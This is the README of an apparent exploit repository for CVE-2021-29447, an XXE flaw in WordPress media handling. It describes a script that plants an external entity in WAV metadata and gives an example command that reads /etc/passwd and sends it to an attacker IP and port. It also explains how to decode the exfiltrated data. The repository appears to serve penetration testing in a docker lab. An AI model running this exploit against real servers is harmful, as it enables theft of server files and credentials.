CVE-2021-29447 - WordPress XXE Vulnerability Exploit

Description

This repository contains an exploit for CVE-2021-29447, an XXE (XML External Entity) vulnerability present in WordPress 5.7.0 and earlier versions. The vulnerability exists in the media library that processes WAV files, allowing an attacker to read arbitrary files from the server.

Requirements

• Bash
• Python 3
• Docker and Docker Compose (to set up test environment)
• Vulnerable WordPress server (5.7.0 or lower)

Files

File	Description
CVE-2021-29447.sh	Exploitation script that generates the WAV payload and malicious DTD file
decode.php	PHP script to decode exfiltrated data (base64 + zlib)
docker-compose.yml	Docker environment with vulnerable WordPress for testing

Usage

1. Set up test environment

docker-compose up -d

2. Run exploit

chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <target_file>

Parameters:

• -l Attacker IP (LHOST)
• -p Attacker port (LPORT)
• -f Path of the file to read on the server
• -h Show help

Example:

./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd

3. Decode data

The exfiltrated data will be base64 encoded and compressed with zlib. To decode them:

php decode.php

Technique

The exploit works by inserting an XXE external entity into the metadata of a WAV file. When WordPress processes the file, the XML parser resolves the external entity, causing the server to make an HTTP request to the attacker's server with the contents of the file encoded in the URL.

References

• CVE-2021-29447
• WordPress 5.7.0 Security Release

Disclaimer

This code is for educational purposes and authorized penetration testing only. Do not use on systems without explicit authorization.